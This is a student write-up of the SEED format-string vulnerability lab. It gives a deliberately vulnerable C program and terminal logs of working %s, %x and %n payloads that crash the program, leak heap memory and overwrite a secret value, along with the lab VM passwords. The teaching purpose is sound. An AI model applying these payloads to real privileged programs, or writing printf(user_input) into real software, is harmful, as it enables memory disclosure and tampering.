Format String Vulnerability Lab

Introduction

The learning objective of this lab is for students to gain the first-hand experience on format-string vulnerability by putting what they have learned about the vulnerability from class into actions. The format-string vulnerability is caused by code like printf(user input), where the contents of variable of user input is provided by users. When this program is running with privileges (e.g., Set-UID program), this printf statement becomes dangerous, because it can lead to one of the following consequences:

1. Crash the program,
2. Read from an arbitrary memory place, and
3. Modify the values of in an arbitrary memory place.

The last consequence is very dangerous because it can allow users to modify internal variables of a privileged program, and thus change the behavior of the program

We assume that

1. The secret numbers are hardcoded in source code vul_prog.c (see the source code in Task 1)
    a. SECRET1= 0x44, SECRET2 =0x55
2. You can read the execute the binary of the code
    a. Don't allow to modify the source code
3. You can type the input
4. However, you do have a copy of the source code, which can help you design your attacks.

Your goal

1. Crash the program.
2. Print out the secret[1] value if only know the address of secret[0].
3. Modify the secret[1] value.
4. Modify the secret[1] value to a pre-determined value.

Lab Environment

We have created two accounts in the VM. The usernames and passwords are listed in the following:

- User ID: root, Password: *seedubuntu*.
    - Note: Ubuntu does not allow root to login directly from the login window. You have to login as a normal user, and then use the command **su** to login to the root account.
- User ID: seed, Password: *dees*

Task 1: Crash a Program

1. Create a working folder and file named vul_prog.c.
   http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Format_String/files/vul_prog.c

```
[12/06/2016 08:41] seed@ubuntu:~$ mkdir format string
[12/07/2016 12:18] seed@ubuntu:~$ cd format string/
[12/07/2016 12:18] seed@ubuntu:~/format_string$ gedit vul_prog.c
```

```
/* vul_prog.c */

#include<stdio.h>
#include<stdlib.h>

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
   char user_input[100];
   int *secret;
   int int_input;
   int a, b, c, d; /* other variables, not used here.*/

   /* The secret value is stored on the heap */
   secret = (int *) malloc(2*sizeof(int));

   /* getting the secret */
   secret[0] = SECRET1; secret[1] = SECRET2;

   printf("The variable secret's address is 0x%8x (on stack)\n", (unsigned int)&secret);
   printf("The variable secret's value is 0x%8x (on heap)\n", (unsigned int)secret);
   printf("secret[0]'s address is 0x%8x (on heap)\n", (unsigned int)&secret[0]);
   printf("secret[1]'s address is 0x%8x (on heap)\n", (unsigned int)&secret[1]);

   printf("Please enter a decimal integer\n");
   scanf("%d", &int_input);  /* getting an input from user */
   printf("Please enter a string\n");
   scanf("%s", user_input); /* getting a string from user */

   /* Vulnerable place */
   printf(user_input);
   printf("\n");

   /* Verify whether your attack is successful */
   printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
   printf("The new secrets:      0x%x -- 0x%x\n", secret[0], secret[1]);
   return 0;
}
```

2. Execute the program without attacks

```
[12/07/2016 12:18] seed@ubuntu:~/format_string$ gedit vul_prog.c
[12/07/2016 12:33] seed@ubuntu:~/format_string$ gcc -o vul_prog vul_prog.c
vul_prog.c: In function 'main':
vul_prog.c:33:5: warning: format not a string literal and no format arguments [-
Wformat-security]
[12/07/2016 12:48] seed@ubuntu:~/format_string$ ls
vul_prog  vul_prog.c
[12/07/2016 12:48] seed@ubuntu:~/format_string$ ./vul_prog
The variable secret's address is 0xbffff320 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
10
Please enter a string
str
str
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
[12/07/2016 12:49] seed@ubuntu:~/format_string$
```

1 2 3 run the program no attack

2.1. Can you draw memory map?

0x804b008	0x804b00C
0x44 (secret[0])	0x55 (secret[1])

^

| points to heap

0x804b008

0xbffff320

3. Apply format string attack

```
Terminal
[12/07/2016 12:54] seed@ubuntu:~/format_string$ ./vul_prog
The variable secret's address is 0xbffff320 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
10
Please enter a string
%s%s%s%s%s%s
Segmentation fault (core dumped)
[12/07/2016 12:55] seed@ubuntu:~/format_string$
```

format string attack here

crash the program to cause segmentation fault

Task 2: Print out the secret[1] value for a given address of the secret[0]

1. Use an input number to guess the position that stores the address of secret[0]. The image blow show that the input number 123 (0x79) is next to the address of secret[0], i.e., 0x804b008

```
[12/07/2016 13:43] seed@ubuntu:~/format_string$ ./vul_prog
The variable secret's address is 0xbffff320 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
123
Please enter a string
%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
bffff328,1,b7eb8309,bffff34f,bffff34e,0,bffff434,804b008,7b,252c7825,78252c78,2c
78252c,252c7825
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

=123

9th position

2. Using %s to show the secret[1]. The %s needs to put in 9th position of the input string. Note that %s is to retrieve the content of from that memory address, i.e., retrieving the content of the address 0x804b00c.

```
[12/08/2016 07:05] seed@ubuntu:~/format_string$ ./vul_prog
The variable secret's address is 0xbffff320 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%x,%x,%x,%x,%x,%x,%x,%x,%s
bffff328,1,b7eb8309,bffff34f,bffff34e,0,bffff434,804b008,U
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

hex

dec

08 0c

Task 3: Modify the secret[1] value

1. "%n" writes the number of bytes printed prior to it into the memory location pointed by the current stack position. The memory location is the input, i.e., 0x804b00c(Hex)=134524940(Decimal).
2. The new secret[1] is 57(Dec)=3x39, the number of characters have been printed prior to %n

```
[12/08/2016 07:09] seed@ubuntu:~/format_string$ ./vul_prog
The variable secret's address is 0xbffff320 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%x,%x,%x,%x,%x,%x,%x,%x,%n
bffff328,1,b7eb8309,bffff34f,bffff34e,0,bffff434,804b008,
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x39
[12/08/2016 07:38] seed@ubuntu:~/format_string$
```

1. 0x804b00c
2. save the number of printed char to 0x804b00c points to

57 (ox39) characters have been printed

Task 3: Modify the secret[1] value to a pre-determined value, e.g., 80 (0x50)

To print 80 characters using %x 8 times, we use 8*%10x

```
[12/08/2016 08:25] seed@ubuntu:~/format_string$ ./vul_prog
The variable secret's address is 0xbffff320 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%10x%10x%10x%10x%10x%10x%10x%10x%n
  bffff328         1  b7eb8309  bffff34f  bffff34e         0  bffff434   804b008
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x50
```

10*8=80

Task 4: Modify the secret[1] value to a pre-determined value, e.g., 110

Capture your screen here

How Does It Work

This part describes the theory of the project.

Reference:

- http://www.cis.syr.edu/~wedu/seed/lab_env.html
- http://null-byte.wonderhowto.com/how-to/hack-like-pro-linux-basics-for-aspiring-hacker-part-7-managing-permissions-0147792/
- https://www.safaribooksonline.com/library/view/linux-pocket-guide/9780596806347/re44.html